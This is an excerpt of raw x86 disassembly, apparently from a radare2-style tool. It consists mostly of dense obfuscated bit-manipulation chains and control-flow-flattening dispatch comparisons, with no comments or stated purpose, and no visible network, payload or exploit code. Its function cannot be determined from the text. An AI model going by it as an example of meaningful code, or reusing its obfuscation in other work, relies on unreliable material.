and cl, 0x6c
xor al, 0x82
and al, 0x93
or al, cl
mov cl, al
xor al, 0x82
xor cl, 0x20
and al, 0xce
and cl, 0x31
or al, cl
mov cl, al
xor al, 0xce
xor cl, 0x31
xor dl, cl
and cl, ch
and dl, ch
not ch
and ch, al
mov eax, edx
or cl, ch
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
mov ah, cl
mov al, cl
not dl
xor ah, 0xb4
and al, 0x94
mov ch, dl
and ah, cl
and cl, 0xa5
and ch, 0x5a
or cl, ch
mov ch, ah
and ah, 0x34
not cl
not ch
or cl, dl
and dl, 0x20
or al, dl
mov edx, eax
xor al, 0x6b
mov dh, al
xor dl, 0x14
or al, ch
and ch, 0xcb
and dh, 0xcb
and dl, 0x34
or ah, ch
not al
or dl, dh
xor ah, dl
or al, ah
mov ah, cl
mov edx, eax
and al, 0x48
not ah
not dl
and dl, 0xb7
or al, dl
mov edx, eax
xor al, 1
xor dl, 0x98
and al, 0x65
and dl, 0x9a
or dl, al
mov al, dl
xor dl, 0x40
xor al, 0x80
and dl, 0x5a
and al, 0xa5
or dl, al
mov al, dl
xor al, 0xa5
and al, dl
mov edx, ecx
mov dh, al
mov ch, al
or dl, 0x4a
xor dh, 0xa4
not ch
and dl, 0xee
mov bl, dh
and dh, al
and bl, ch
and ch, 0x2f
mov bh, bl
and bh, dh
xor dh, bl
mov bl, cl
and cl, 0x2f
or bl, 0xa4
or dh, bh
mov bh, bl
and bl, 0x4a
not bh
and bh, 0x11
or bh, bl
mov bl, dh
xor dl, bh
not bl
and bl, dl
not dl
and dl, dh
mov dh, al
or al, ah
and ah, 0xd0
and dh, 0xd0
or cl, ah
not al
or dl, bl
or ch, dh
xor cl, ch
or al, cl
mov ecx, eax
and al, 0xef
not cl
and cl, 0x10
or al, cl
mov ecx, edx
xor al, 0xef
and cl, al
xor al, dl
or al, cl
mov edx, eax
mov ecx, eax
xor dl, 0x83
not cl
and dl, al
or al, 0x7c
and cl, 3
mov ah, dl
mov ch, al
and dl, 0x5b
not ah
and ch, 0xa4
or al, ah
and ah, 0xa4
or cl, ch
or dl, ah
not al
xor dl, cl
or al, dl
mov ecx, eax
and al, 0xe5
not cl
and cl, 0x1a
or al, cl
mov ch, al
mov ah, al
mov bh, al
not ch
and ah, 0xb0
and bh, 0x5b
mov cl, ch
mov dh, ch
and cl, al
and dh, 0x4f
mov dl, cl
mov bl, cl
or dh, ah
and cl, 0x39
not dl
and bl, 0x4f
mov ah, dl
and ah, 0xb0
or bl, ah
mov ah, al
and al, 0x84
or ah, dl
xor bl, dh
not ah
or ah, bl
mov dh, ah
xor ah, 0x6d
not dh
and dh, 0x92
or ah, dh
mov dh, ah
and ah, 0xa4
not dh
and dh, 0x5b
or ah, dh
mov dh, ch
and dh, 0xa4
mov bl, ah
xor ah, 0x5b
or bh, dh
xor bl, 0x24
xor bh, 0xc9
and bl, 0x67
mov dh, bh
xor dh, ch
and ch, 0x7b
and dh, bh
mov bh, ah
and ah, 0x98
or al, ch
or bl, ah
mov ah, dh
and dh, 0x67
mov ch, al
and al, 0x39
not ah
xor ch, 0x7b
or bh, ah
and ah, 0x98
or dh, ah
not bh
xor dh, bl
mov ah, bh
and ah, dh
xor dh, bh
or dh, ah
mov bl, dh
mov ah, dh
xor bl, 0x6d
and ah, 0x41
and bl, dh
not dh
and dh, 0x2c
or ah, dh
mov dh, ah
xor ah, 0xbe
xor dh, 0x40
mov bh, ah
and bh, 0xf
and dh, 0x60
or dh, bh
mov bh, bl
and bl, 0xf0
not bh
or ah, bh
and bh, 0xf
or bl, bh
not ah
xor bl, dh
mov dh, ch
or ch, dl
and dl, 0xc6
and dh, 0xc6
or ah, bl
or cl, dl
not ch
or al, dh
mov dl, ah
xor cl, al
mov al, ah
and dl, 2
not al
or ch, cl
mov cl, al
and al, 0x4a
and cl, 0xa5
or dl, cl
mov cl, ah
and ah, 0xb5
xor dl, 2
and cl, 0x58
or ah, al
or cl, dl
mov dl, ch
and ch, 0x80
mov al, ah
xor ah, 0x4a
not dl
xor al, 0xb5
mov dh, dl
or dl, 0xa7
and dh, 0x27
or ch, dh
mov dh, ch
and ch, 0x26
xor dh, 0x11
and dh, 0x91
or ch, dh
mov dh, dl
and dl, 0x91
not dh
and dh, 0x48
or dh, dl
mov dl, cl
xor dh, ch
not dl
and dl, dh
not dh
and dh, cl
mov ecx, 0x2cad2bd3
or dh, dl
and ah, dh
not dh
and al, dh
or ah, al
not ah
or ah, dh
mov edx, 0xeaf66483
cmp ah, 0xff
jmp 0x44b0f3
cmp ecx, 0xf489f9b6
je 0x44800f
cmp ecx, 0xfce54cd3
jne 0x42f660
lea edi, [esp + 0x250]
mov dword [esp + 0xc8], edi
mov eax, dword [esp + 0xc8]
sub esp, 4
movzx eax, byte [esp + 0x7c]
mov ecx, edi
mov byte [esp], al
call fcn.004507a0
lea eax, [esp + 0x268]
mov dword [esp + 0x260], 0
mov dword [esp + 0x264], 0xf
mov byte [esp + 0x250], 0
mov esi, eax
push eax
call fcn.00475b50
add esp, 4
mov ecx, edi
push eax
push esi
call fcn.004576f0
lea ecx, [esp + 0x274]
push edi
call fcn.0046ff00
movzx edx, byte [esp + 0x137]
test al, al
mov ecx, 0x15e5c750
mov esi, 0xeac4671b
cmovne ecx, esi
mov byte [esp + 0x38], dl
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0x98073693
je 0x448045
cmp ecx, 0x9e51e116
jne 0x42f660
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 0x150]
movzx ebx, word [eax + ecx*2]
mov ebp, ebx
mov edx, ebx
mov eax, ebx
mov ecx, ebx
mov dword [esp + 4], ebx
not ebp
and edx, 0xf5fc
and eax, 0x842d
and ecx, 0x2240
mov esi, ebp
mov dword [esp], ebp
and esi, 0xca090a03
or esi, edx
mov edx, esi
xor esi, 0xa03
xor edx, 0x34c4e14c
and esi, 0x1eb3
and edx, 0xfecce14c
or edx, esi
mov esi, edx
xor edx, 0x1310630
xor esi, 0x88000040
and edx, 0x77f9e73c
and esi, 0x880018c3
or esi, edx
mov edx, esi
xor esi, 0x880618c3
xor edx, 0xf24094c
and esi, edx
mov edx, ebp
and edx, 0x7bd2
mov edi, esi
or eax, edx
xor eax, 0x6a5d
or eax, ebp
mov edx, eax
xor edi, eax
and eax, esi
and edi, esi
not edx
not esi
and esi, edx
mov edx, ebx
and ebx, 0x123a
or eax, esi
mov esi, edi
and edx, 0xdc97
and esi, eax
xor eax, edi
or eax, esi
mov esi, eax
mov edi, eax
and eax, 0x78ddee70
not esi
and edi, 0x85201007
and esi, 0x2020188
or edi, esi
xor edi, 0x85201007
or eax, edi
mov esi, eax
and eax, 0x30c00050
not esi
mov edi, esi
or esi, 0x30e082d1
and edi, 0x208281
or eax, edi
mov edi, eax
xor eax, 0xc50d980f
xor edi, 0xc00040
and eax, 0xf50d981f
and edi, 0xe002c0
or edi, eax
mov eax, esi
and esi, 0xf50d981f
not eax
and eax, 0xa126520
or eax, esi
xor eax, edi
mov esi, eax
and eax, 0xc7a2b9c8
not esi
and esi, 0x385d4637
or eax, esi
mov esi, eax
xor eax, 0x8000040
xor esi, 0xf7423b19
and eax, 0xc002240
mov edi, esi
and esi, 0x60ab0128
or esi, eax
and edi, 0x9354dc97
xor esi, 0x60ab0128
or esi, edi
mov edi, ebp
mov eax, esi
xor esi, 0x6cab2368
not eax
and eax, 0x9354dc97
or esi, eax
mov eax, ebp
and eax, 0x8890128
mov edi, esi
or ecx, eax
not edi
xor ecx, 0x64222240
or edx, ecx
mov ecx, edx
and edx, 0x2820edc5
not ecx
mov eax, ecx
and eax, 0x89123a
or edx, eax
mov eax, ebp
and eax, 0x2820edc5
or eax, ebx
mov ebx, edi
and edi, 0xc3439a2f
xor eax, edx
not eax
or eax, ecx
mov ecx, eax
mov edx, eax
not ecx
and edx, esi
and ebx, ecx
or ebx, edx
mov edx, eax
xor eax, 0xc3439a2f
not ebx
and edx, 0x3cbc65d0
and eax, ecx
mov ecx, edx
or ebx, esi
and esi, 0x3cbc65d0
and ecx, eax
xor eax, edx
or edi, esi
mov edx, ebx
and ebx, 0xd3795ac2
or eax, ecx
mov ecx, edi
and edi, 0xb0968a8d
not edx
not ecx
mov esi, edx
and ecx, 0x4f697572
or edi, ecx
mov ecx, eax
and eax, 0xb0968a8d
not ecx
and ecx, 0x4f697572
or eax, ecx
xor eax, edi
mov ecx, eax
and eax, 0x2c86a53d
not ecx
xor esi, ecx
and ecx, 0xd3795ac2
and esi, edx
and edx, 0x2c86a53d
or eax, ecx
or edx, ebx
xor eax, edx
mov edx, esi
and esi, 0x560bc7e6
mov ecx, eax
not edx
and eax, 0x560bc7e6
mov edi, edx
not ecx
or edx, ecx
and edi, 0xa9f43819
and ecx, 0xa9f43819
or esi, edi
or eax, ecx
not edx
xor eax, esi
or edx, eax
mov ecx, edx
mov eax, edx
not ecx
xor eax, 0xb38bd339
mov esi, ecx
and eax, edx
and ecx, 0x1985b7eb
xor edx, 0xe67a4814
and esi, 0xb38bd339
or edx, ecx
mov edi, esi
mov ecx, edx
and edx, 0x926a1a60
and edi, eax
xor eax, esi
not ecx
or eax, edi
and ecx, 0x6d95e59f
mov esi, eax
and eax, 0xb38bd339
or edx, ecx
not esi
mov ecx, edx
xor edx, 0x885c19e
and esi, 0x4c742cc6
xor ecx, 0x926a1a60
and edx, 0x9aefd19e
or eax, esi
mov esi, eax
xor eax, 0x1985b7eb
not esi
and esi, 0xe67a4814
or eax, esi
mov esi, eax
and eax, 0xbdedbd1a
not esi
and esi, 0x421242e5
or eax, esi
mov esi, ecx
and ecx, 0x4756e109
and esi, 0x65102e61
mov edi, eax
or esi, edx
xor edi, 0x421242e5
mov edx, esi
mov ebx, edi
mov dword [esp + 8], esi
xor edx, 0x65102e61
or ebx, 0xb8a91ef6
mov dword [esp + 0xc], edx
and edx, 0xb8a91ef6
or ecx, edx
mov edx, eax
xor eax, 0x544a3ec
and eax, edi
xor edx, 0xbdedbd1a
and edi, 0x57bc7975
mov ebp, eax
and eax, 0xc7643095
not ebp
mov esi, ebp
or ebp, ebx
and esi, 0x389bcf6a
not ebp
or eax, esi
mov esi, ebx
and ebx, 0x389bcf6a
not esi
and esi, 0x47442001
or esi, ebx
mov ebx, dword [esp + 4]
xor esi, eax
or ebp, esi
mov eax, ebp
and ebp, 0x459b6aef
not eax
and eax, 0xba649510
or ebp, eax
mov eax, ecx
and ecx, 0x459b6aef
not eax
and eax, 0xba649510
or ecx, eax
mov eax, edx
and eax, 0xa843868a
xor ecx, ebp
or edi, eax
mov eax, dword [esp + 8]
xor eax, 0x9aefd19e
or edx, eax
and eax, 0xa843868a
mov esi, eax
mov eax, dword [esp + 0xc]
not edx
and eax, 0x57bc7975
or eax, esi
xor eax, edi
or edx, eax
mov eax, ecx
not edx
and eax, edx
xor edx, ecx
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0x8ad16483
and eax, 0x2112083
and esi, edx
not edx
and edx, 0x88c04400
or eax, edx
xor eax, 0x2112083
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
mov ecx, esi
and esi, 0x6a1ecb6d
not eax
and ecx, 0x8d343e47
mov edx, eax
and edx, 0x72cbc1b8
or edx, ecx
mov ecx, edx
xor edx, 0xc143801
xor ecx, 0x10888118
and edx, 0x6e5778a1
and ecx, 0x91a8875e
or ecx, edx
mov edx, ecx
xor ecx, 0x91a8875e
xor edx, 0x98a94580
and ecx, edx
mov edx, eax
and eax, 0xf6fe3d21
and edx, 0x95e13492
mov edi, ecx
or edx, esi
mov esi, ecx
not edi
xor edx, 0x9ce0f64c
and edi, 0x9b594af5
or eax, edx
mov edx, eax
and eax, 0x1bb4bdc6
not edx
and edx, 0xe44b4239
or eax, edx
mov edx, eax
xor eax, 0xe44b4239
xor esi, eax
xor edx, 0xa4b502
and eax, 0x9b594af5
and edx, 0x64a6b50a
and esi, ecx
and ecx, 0x64a6b50a
or ecx, edi
or edx, eax
mov eax, dword [esp]
mov edi, ebx
and ebx, 0x699
xor edx, ecx
mov ecx, esi
and edi, 0xba7c
and ecx, edx
xor edx, esi
or edx, ecx
mov ecx, edx
and edx, 0xf6fe3d21
not ecx
and ecx, 0x901c2de
or edx, ecx
mov ecx, eax
and ecx, 0xeb0f4583
or ecx, edi
mov edi, ecx
xor ecx, 0x4b0207c
xor edi, 0x4580
and ecx, 0xcdb2207f
and edi, 0xdf80
or edi, ecx
mov ecx, eax
and ecx, 0x9b86f966
mov esi, edi
or ebx, ecx
xor esi, 0x1002009
mov ecx, ebx
xor ebx, 0x9b86f966
and esi, 0x100b709
xor ecx, 0x64790699
or ebx, ecx
mov ecx, edi
xor edi, 0xc051c974
xor ecx, 0x324ddf80
mov eax, ebx
and edi, ecx
and ecx, 0xcaca48f6
mov dword [esp + 8], eax
or ecx, esi
mov esi, ecx
mov ebp, ecx
xor ecx, 0x3535b709
xor esi, 0xcaca48f6
xor ebp, 0xc309a1fd
and ebp, esi
mov dword [esp + 0xc], esi
mov ebx, ebp
and ebp, 0xe2486108
not ebx
mov esi, ebx
and esi, 0xda79ef7
or ebp, esi
mov esi, edi
and edi, 0xc0506108
not esi
or ebx, esi
and esi, 0xda69ef7
or edi, esi
mov esi, eax
not ebx
xor esi, 0xde3e90b
xor edi, ebp
and esi, eax
mov eax, dword [esp + 8]
or ebx, edi
mov edi, esi
and esi, 0xa2081279
not edi
mov ebp, edi
and ebp, 0x5997ed86
or eax, 0xf21c16f4
or esi, ebp
mov ebp, eax
or edi, eax
and eax, 0x5997ed86
not ebp
not edi
and ebp, 9
or ebp, eax
mov eax, ebx
and ebx, 0x7f41f1e2
xor ebp, esi
not eax
mov esi, dword [esp + 0xc]
and eax, 0x80be0e1d
or edi, ebp
or ebx, eax
mov eax, edi
and edi, 0x7f41f1e2
not eax
and eax, 0x80be0e1d
and esi, 0x25e11
or edi, eax
mov eax, ecx
and eax, 0xfdcca1ee
xor edi, ebx
or esi, eax
mov ebx, esi
mov esi, dword [esp + 8]
mov eax, esi
and esi, 0x2335e11
not eax
or ecx, eax
and eax, 0x9984a1ee
or esi, eax
mov eax, edi
not ecx
and edi, 0xc9053c04
xor esi, ebx
not eax
or ecx, esi
mov esi, eax
and esi, 0x36fac3fb
or eax, ecx
or edi, esi
mov esi, ecx
and ecx, 0x36fac3fb
not eax
not esi
and esi, 0xc9053c04
or esi, ecx
mov ecx, edx
xor esi, edi
not ecx
mov edi, edx
and edx, 0x402ac5aa
or eax, esi
mov esi, ecx
and edi, 0xb2663eed
and esi, 0x4d99c112
mov ebx, eax
or edi, esi
mov esi, ecx
and ebx, 0x4d99c112
and esi, 0xbfd53a55
or edx, esi
mov esi, eax
not esi
xor edx, 0xbfd53a55
or edx, esi
and esi, 0xb2663eed
or esi, ebx
xor esi, edi
mov edi, edx
not esi
not edi
or esi, ecx
or ecx, eax
mov eax, edx
and edi, 0x13c088ef
and eax, 0xec3f7710
or edx, ecx
or edi, eax
mov eax, ecx
and ecx, 0xec3f7710
not edx
not eax
and eax, 0x13c088ef
or eax, ecx
mov ecx, esi
and esi, 0xf4e4794e
xor eax, edi
not ecx
or edx, eax
mov edi, ecx
mov eax, edx
and edx, 0xb1b86b1
not eax
xor edi, eax
and eax, 0xf4e4794e
and edi, ecx
and ecx, 0xb1b86b1
or edx, eax
or ecx, esi
mov eax, edi
xor edx, ecx
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
mov esi, edx
mov edi, edx
not eax
and esi, 0xdfaf2fa6
mov ecx, eax
mov ebx, eax
and ebx, 0x2050d059
and ecx, edx
and edx, 0xcc1724f0
or ebx, esi
mov esi, ecx
and ecx, 0x2050d059
not esi
or edi, esi
and esi, 0xdfaf2fa6
or ecx, esi
not edi
xor ecx, ebx
or edi, ecx
mov ecx, eax
mov esi, edi
and ecx, 0x33e8db0f
or edx, ecx
xor esi, 0xfae7d178
mov ecx, esi
and esi, edi
not edi
xor edx, 0xcc1724f0
xor eax, edx
and ecx, edi
and eax, edx
mov edx, ecx
and edx, esi
xor esi, ecx
mov ecx, eax
or ecx, 0x5182e87
or esi, edx
mov edx, ecx
mov ebx, ecx
not edx
and ebx, 0x54828c01
and edx, 0xaa655178
or edx, ebx
mov ebx, eax
xor ebx, 0xfae7d178
and ebx, eax
mov ebp, ebx
and ebx, 0xab7d73fe
not ebp
or ecx, ebp
and ebp, 0x54828c01
or ebx, ebp
not ecx
mov ebp, dword [esp + 4]
xor ebx, edx
mov edx, eax
mov eax, esi
and esi, 0x48a773b1
not eax
or ecx, ebx
not edx
and eax, 0xb7588c4e
or esi, eax
mov eax, ecx
and ecx, 0x48a773b1
mov ebx, ebp
not eax
and ebx, 0x1f99
and eax, 0xb7588c4e
or ecx, eax
mov eax, edi
and eax, edx
xor edx, edi
xor ecx, esi
or edx, eax
mov eax, edx
and edx, 0x1643f483
not eax
and eax, 0xe9bc0b7c
or edx, eax
mov eax, ecx
xor edx, 0x1643f483
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
and edx, 0x2662db47
not eax
and eax, 0xd99d24b8
or edx, eax
mov eax, edx
and edx, 0x3648b1fc
not eax
and eax, 0xc9b74e03
or edx, eax
mov eax, edx
xor edx, 0x10000a13
xor eax, 0xefd59544
and edx, 0x15d41f13
mov ecx, eax
and eax, 0xa609daa
and ecx, 0xea2be0ec
or ecx, edx
mov edx, ecx
mov edi, ecx
xor ecx, 0x5540a11
xor edx, 0xea2be0ec
xor edi, 0xe04b7d46
and ecx, 0x5744a19
and edi, edx
mov esi, edi
and esi, eax
xor eax, edi
mov edi, ebp
or eax, esi
and edi, 0xa046
mov esi, eax
and eax, 0xa609daa
not esi
and esi, 0xf59f6255
or eax, esi
mov esi, edx
and esi, 0xfa8bb5e6
or esi, ecx
xor esi, 0xfa8bb5e6
or esi, edx
mov edx, ebp
mov ecx, esi
and esi, 0x2cf5369a
and edx, 0x80d2
not ecx
and ecx, 0xd30ac965
or esi, ecx
mov ecx, eax
xor esi, 0x2cf5369a
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
or esi, 0xbdc15c4d
mov ecx, esi
not eax
and esi, 0x4641f27e
not ecx
or eax, 0x423ea3b2
and ecx, 0x3e0180
or ecx, esi
mov esi, eax
and eax, 0x4641f27e
not esi
and esi, 0xb9800c01
or esi, eax
xor esi, ecx
mov ecx, dword [esp]
mov eax, esi
and esi, 0x423ea3b2
not eax
and eax, 0xbdc15c4d
or esi, eax
mov eax, esi
and esi, 0xaf9c99a8
not eax
and eax, 0x50636657
or eax, esi
xor eax, 0x50636657
mov dword [esp + 0xfc], eax
mov eax, ecx
and eax, 0x111c4020
or edi, eax
xor edi, 0x8083a046
or ebx, edi
mov eax, ebx
and ebx, 0x919fe066
not eax
and eax, 0x6e601f99
or ebx, eax
mov eax, ebx
and ebx, 0x6bf7c9bf
not eax
and eax, 0x94083640
or ebx, eax
mov esi, ebx
xor ebx, 0x2240
xor esi, 0x6bf7c9bf
and ebx, 0x616244
mov eax, esi
and esi, 0x93f580d2
and eax, 0xff9e9dbb
or eax, ebx
xor eax, 0x9394e296
or esi, eax
mov eax, ecx
mov edi, esi
and eax, 0x7f2d
not edi
or edx, eax
mov eax, edi
mov dword [esp + 8], edi
not edx
or eax, 0xf0c361ee
or edx, ecx
mov edi, eax
and eax, 0x84c995cd
mov ebp, edx
mov ecx, edx
not edi
xor ebp, 0xf0c361ee
xor ecx, 0x61ee
and edi, 0xb340a10
and ebp, edx
or edi, eax
mov eax, esi
and esi, 0x5dbef9e0
or eax, 0xf3c9e11
mov ebx, eax
and eax, 0x84c995cd
not ebx
and ebx, 0x70026022
or ebx, eax
xor ebx, edi
mov edi, ebp
and ebp, 0x40c4a41
not edi
mov eax, edi
and eax, 0x10c2b5be
or ebp, eax
mov eax, edx
and edx, 0x5dbef9e0
not eax
and ecx, eax
mov dword [esp + 0xc], eax
mov eax, ecx
and ecx, 0x4a41
not eax
or edi, eax
and eax, 0x1bf2b5be
or ecx, eax
not edi
mov eax, ebx
xor ecx, ebp
not eax
or edi, ecx
mov ecx, dword [esp + 8]
and eax, edi
not edi
and edi, ebx
mov ebx, dword [esp + 4]
or edi, eax
mov eax, ecx
and eax, 0xa241061f
or esi, eax
mov eax, dword [esp + 0xc]
or ecx, eax
and eax, 0x61f
or edx, eax
mov eax, dword [esp]
xor edx, esi
mov esi, ecx
mov ecx, edi
and edi, 0x43f31711
not esi
not ecx
or esi, edx
mov edx, ecx
and edx, 0xbc0ce8ee
or ecx, esi
and eax, ebx
or edi, edx
mov edx, esi
and esi, 0xbc0ce8ee
not ecx
not edx
and edx, 0x43f31711
or edx, esi
xor edx, edi
or ecx, edx
mov edx, ecx
xor edx, 0x8b84ac08
and edx, ecx
not ecx
and ecx, 0x8b84ac08
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
and edx, 0x129920fb
not ecx
and ecx, 0xed66df04
or edx, ecx
mov ecx, edx
xor edx, 0x9a1a768d
xor ecx, 0xf517f3de
and edx, ecx
or ecx, 0x90f27aac
mov esi, ecx
mov edi, ecx
not esi
and edi, 0x97541c1e
and esi, 0x68098141
or esi, edi
mov edi, edx
and edx, 0x68abe3e1
not edi
or ecx, edi
and edi, 0x97541c1e
or edx, edi
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
and ecx, 0xe3ec7dfc
not edx
and edx, 0x1c138203
or ecx, edx
mov edi, ecx
xor ecx, 0x731e0750
mov esi, ecx
xor edi, 0x8ce108af
and ecx, 0xf000
or esi, 0xffff0fff
and edi, 0xffff0fff
mov edx, esi
or ecx, edi
mov edi, esi
not edx
and edi, 0x26fb5e0c
and edx, 0xa000
or edx, edi
mov edi, ecx
and ecx, 0xd904a1f3
not edi
or esi, edi
and edi, 0x26fb5e0c
or ecx, edi
not esi
mov edi, ebx
xor ecx, edx
and edi, 0xfbf6
or esi, ecx
mov edx, esi
mov ecx, esi
xor edx, 0x51c70fb5
and ecx, 0x40c35
and edx, esi
not esi
and esi, 0x51c30380
or ecx, esi
xor ecx, 0x40c35
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
and edx, 0x51c70fb5
not ecx
and ecx, 0xae38f04a
or edx, ecx
mov ecx, dword [esp]
mov ebp, edx
not edx
mov dword [esp + 0x10], edx
and ecx, 0xefa00409
or edi, ecx
xor edi, 0x105ffbf6
mov ecx, edi
xor edi, eax
and ecx, eax
or edi, ecx
mov ecx, edi
or ecx, 0xfe8fa3bf
mov eax, ecx
mov esi, ecx
not eax
and esi, 0x8672fce9
and eax, 0x1000000
or eax, esi
mov esi, edi
xor esi, 0x1705c40
and esi, edi
mov ebx, esi
and esi, 0x798d0316
not ebx
or ecx, ebx
and ebx, 0x8672fce9
or esi, ebx
not ecx
xor esi, eax
mov eax, edi
and edi, 0x5db98c2f
or ecx, esi
not eax
mov esi, ecx
and ecx, 0x170ac40
not esi
and esi, 0xfe8f53bf
or ecx, esi
mov esi, eax
and eax, 0xf000
and esi, 0xa20073d0
or esi, edi
xor esi, 0x5db97c2f
or eax, esi
mov esi, ecx
not eax
and esi, eax
xor eax, ecx
or eax, esi
mov ecx, eax
and eax, 0xca081905
not ecx
and ecx, 0x35f7e6fa
or eax, ecx
mov ecx, eax
and eax, 0x35f7e6fa
not ecx
and ecx, 0xca081905
or eax, ecx
mov ecx, edx
mov edx, ebp
and ebp, 0x17781745
and ecx, 0x28e3bb9e
and edx, 0xd71c4461
mov esi, eax
or edx, ecx
mov ecx, eax
and esi, 0x5eff8998
and eax, 0x2875ec0a
not ecx
mov ebx, edx
xor edx, 0x28e3bb9e
mov dword [esp + 0xc], ecx
and ecx, 0xa1007667
xor ebx, 0xd71c4461
mov dword [esp + 0x14], edx
or esi, ecx
mov ecx, edx
mov dword [esp + 8], ebx
and ebx, 0xfa1ea040
and ecx, 0x5e15fbf
mov edi, esi
xor esi, 0x440
or ebx, ecx
mov ecx, dword [esp + 0x10]
xor edi, 0x10058818
and esi, 0x4efa05c0
and edi, 0xb105fa3f
or edi, esi
mov esi, ebx
xor esi, edx
mov edx, dword [esp + 0xc]
and ecx, 0xe887e8ba
and esi, ebx
or ebp, ecx
mov ebx, esi
mov ecx, ebp
xor ebp, 0xed66b705
xor ebx, 0x5a8ee634
xor ecx, 0x12180040
and ebx, esi
and ecx, 0xfa1ea040
or ebp, ecx
mov ecx, ebp
and ebp, 0xd298f383
not ecx
and ecx, 0x2d670c7c
or ebp, ecx
mov ecx, edi
xor edi, 0x4efa05c0
xor ecx, 0xb105fa3f
mov dword [esp + 0x18], edi
and edi, 0xfa1ea040
mov dword [esp + 0x10], ecx
and ecx, 0x5e15fbf
or edi, ecx
mov ecx, edx
and edx, 0xfa1ea040
and ecx, 0xd78a13f5
not edi
or ecx, eax
or edi, dword [esp + 0x10]
xor ecx, 0xd26b4c4a
or edx, ecx
mov ecx, esi
not esi
mov eax, edx
and edx, 0xd679389d
and esi, 0x65864377
and ecx, 0x9a79bc88
not eax
or ecx, esi
and eax, 0x2986c762
mov dword [esp + 0x1c], ecx
xor ecx, 0x40864234
or edx, eax
or ecx, 0xa57119cb
mov dword [esp + 0xc], edx
mov edx, ebp
xor ebp, 0x2d670c7c
mov eax, ecx
xor edx, 0x80101183
mov esi, ebp
not eax
and esi, 0x5a8ee634
and edx, 0xa57119cb
and eax, 0x4884e604
or edx, esi
mov esi, ecx
and esi, 0x360b09f3
or eax, esi
mov esi, ebx
and ebx, 0xc9f4f60c
not esi
or ecx, esi
and esi, 0x360b09f3
or ebx, esi
not ecx
xor ebx, eax
or ecx, ebx
mov eax, ecx
not eax
and eax, edx
not edx
and edx, ecx
mov ecx, dword [esp + 0x1c]
or edx, eax
xor ecx, 0x9a79bc88
mov eax, ecx
and eax, ebp
xor ebp, ecx
mov ecx, edi
or ebp, eax
and ecx, 0xb4583e66
mov eax, ebp
and ebp, 0x4434b6aa
not eax
and eax, 0xbbcb4955
or ebp, eax
mov eax, edx
xor ebp, 0x4434b6aa
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, edi
xor edi, 0x389d367
not eax
mov dword [esp + 0x1c], ebp
mov ebp, dword [esp + 0xc]
and edi, eax
and eax, 0x4ba7c199
or eax, ecx
mov dword [esp + 0x20], eax
xor eax, 0xb4583e66
mov esi, eax
or esi, 0x389d367
mov edx, esi
mov ebx, esi
not edx
and ebx, 0x95917451
and edx, 0x68660888
or edx, ebx
mov ebx, edi
and edi, 0x6a6e8bae
not ebx
or esi, ebx
and ebx, 0x95917451
or edi, ebx
mov ebx, ebp
not esi
xor edi, edx
mov edx, ebp
xor ebx, 0x2986c762
xor ebp, 0x2a0f1405
xor edx, 0xd679389d
and ebp, ebx
or esi, edi
and ebx, 0x70fe020e
mov edi, edx
mov ecx, ebp
and edi, 0x389d367
and ecx, edi
xor edi, ebp
or edi, ecx
mov ecx, esi
not ecx
and ecx, edi
not edi
and edi, esi
mov esi, dword [esp + 0x20]
or edi, ecx
mov ecx, eax
or eax, edx
and edx, 0x8f01fdf1
mov ebp, edi
and ecx, 0x8f01fdf1
or ebx, edx
not eax
and edi, 0x61975814
mov edx, dword [esp + 0x1c]
not ebp
xor esi, 0x40a60008
and esi, 0x70fe020e
or esi, ecx
mov ecx, ebp
xor ebx, esi
and ecx, 0x9e68a7eb
mov esi, dword [esp + 0x10]
or eax, ebx
or edi, ecx
mov ecx, eax
or ebp, eax
and eax, 0x9e68a7eb
not ecx
not ebp
and ecx, 0x61975814
or ecx, eax
mov eax, edx
xor ecx, edi
not eax
mov edi, dword [esp + 0x18]
or ebp, ecx
mov ecx, edx
and eax, 0xcc0fcf56
and ecx, 0x33f030a9
or ecx, eax
mov eax, ebp
xor ecx, ebp
not eax
and edi, 0x6f2373d3
xor ecx, 0xcc0fcf56
and eax, 0x36eef35e
and ecx, ebp
and ebp, 0xc9110ca1
or ebp, eax
mov eax, ecx
xor ebp, edx
xor ebp, 0x36eef35e
and ebp, edx
mov edx, dword [esp + 0x14]
and eax, ebp
xor ebp, ecx
or ebp, eax
mov eax, dword [esp + 8]
and edx, 0x90dc8c2c
mov ecx, eax
xor ecx, esi
and esi, 0x90dc8c2c
and ecx, eax
and eax, 0x6f2373d3
or edi, esi
mov esi, dword [esp]
or eax, edx
mov ebx, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 4]
xor edi, dword [esp + 8]
mov edx, esi
and edx, 0x2679ea
or esi, eax
and eax, 0x8615
and ebx, edi
xor edi, ecx
mov dword [esp], esi
mov esi, ebp
or edx, eax
or edi, ebx
not esi
mov ecx, edi
mov ebx, edi
not ecx
and ebx, 0xc89a1803
and ecx, 0x3765e7fc
or ecx, ebx
xor ecx, 0xc89a1803
xor edi, ecx
and edi, ecx
mov ecx, edi
and edi, esi
not ecx
or esi, ecx
and ecx, ebp
mov ebp, esi
mov ebx, esi
or ecx, edi
not ebp
and ebx, 0x3e1cd422
and ebp, 0xc1e32bdd
or ebp, ebx
mov ebx, ecx
and ecx, 0xc1e32bdd
not ebx
or esi, ebx
and ebx, 0x3e1cd422
or ecx, ebx
not esi
xor ecx, ebp
or esi, ecx
mov ecx, dword [esp]
mov dword [esp + 4], esi
mov esi, edx
xor edx, 0x41e8
xor esi, 0xffd98615
and edx, 0xc3fd
mov ebx, esi
and esi, 0x18507518
mov eax, ecx
and ecx, 0x279ffead
and ebx, 0x2d1f3c02
not eax
or ebx, edx
and eax, 0x152
mov edi, ebx
xor ebx, 0x250f491a
or ecx, eax
xor edi, 0x2d1f3c02
mov eax, ecx
xor ecx, 0x58600012
and ebx, edi
xor eax, 0x279ffead
and ecx, 0x5e7bda9b
mov edx, eax
